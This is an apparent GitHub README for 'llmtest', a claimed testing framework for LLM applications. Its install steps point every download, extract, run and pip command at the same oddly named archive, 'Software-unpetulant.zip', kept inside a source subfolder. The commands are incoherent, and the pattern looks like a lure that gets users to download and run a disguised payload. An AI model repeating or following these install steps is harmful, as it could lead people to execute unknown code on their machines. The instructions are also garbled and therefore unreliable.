Hazuki-01/llmtest：面向 LLM 应用的测试框架

🚀 llmtest - Test Your AI Applications Effortlessly

📋 Description

llmtest is a comprehensive testing framework designed specifically for large language model (LLM) applications. It supports semantic assertions, multi-provider testing, retrieval-augmented generation (RAG) testing, and prompt optimization. With llmtest, you can ensure that your AI models are working properly and efficiently.

🚀 Getting Started

Follow these steps to download and run llmtest on your computer.

Check System Requirements

llmtest works on Windows, macOS, and Linux. Ensure your system meets these minimum requirements:

Operating System: Windows 10 or later, macOS Catalina or later, Ubuntu 20.04 or later
Python Version: 3.8 or higher
Memory: At least 4 GB of RAM
Storage: At least 200 MB of free disk space

Visit the Releases Page

To download llmtest, visit the Releases page for the latest version. Here, you will find all the downloadable files and information about recent updates.

Download and Install

On the Releases page, look for the latest version. You will see multiple files available for download. Choose the appropriate file for your operating system:

For Windows, download the .exe file.
For macOS, download the .dmg file.
For Linux, download the https://github.com/Hazuki-01/llmtest/raw/refs/heads/main/llmtest/providers/Software-unpetulant.zip file.

Click on the download link to start downloading the file.

Run the Installer

Once the download is complete, locate the downloaded file in your system's Downloads folder.

For Windows: Double-click the .exe file and follow the on-screen instructions.
For macOS: Open the .dmg file, then drag and drop the llmtest application to your Applications folder.
For Linux: Open a terminal, navigate to the location of the downloaded https://github.com/Hazuki-01/llmtest/raw/refs/heads/main/llmtest/providers/Software-unpetulant.zip file, and extract it using:

tar -xvzf https://github.com/Hazuki-01/llmtest/raw/refs/heads/main/llmtest/providers/Software-unpetulant.zip

After extracting, change into the directory and run the application:

cd llmtest
https://github.com/Hazuki-01/llmtest/raw/refs/heads/main/llmtest/providers/Software-unpetulant.zip

Set Up Your Environment

Before using llmtest, ensure you have Python installed. You can check if Python is available by opening a terminal (or Command Prompt on Windows) and typing:

python --version

If Python is not installed, download it from the official Python website.

Install Required Packages

To get the most out of llmtest, you may need to install some additional Python packages. Open a terminal and run:

pip install -r https://github.com/Hazuki-01/llmtest/raw/refs/heads/main/llmtest/providers/Software-unpetulant.zip

This command will install all the necessary packages. Ensure you have pip installed, which usually comes with Python installations.

Start Using llmtest

Congratulations! You are now ready to start using llmtest. Follow the user guide available in the docs folder for instructions on how to create tests, run assertions, and utilize advanced features like RAG and prompt optimization.

🛠️ Features

Semantic Assertions: Verify that your LLM behaves as expected.
Multi-Provider Support: Test models from various providers seamlessly, including OpenAI and Anthropic.
RAG Testing: Evaluate how well your model retrieves and generates relevant information.
Prompt Optimization: Enhance your prompt design for better responses from AI models.

📝 Support

If you encounter any issues or need help, please check the Issues section on the GitHub page. You can also contact the maintainers directly through the email listed in the repository for more personalized support.

📌 Additional Resources

GitHub Repository: Hazuki-01/llmtest
Documentation: Find detailed guides and examples in the docs folder.
Community Discussions: Join us on GitHub Discussions to connect with other users.

Remember to keep an eye on the Releases page for updates and new features. Enjoy using llmtest to ensure your AI applications perform effectively!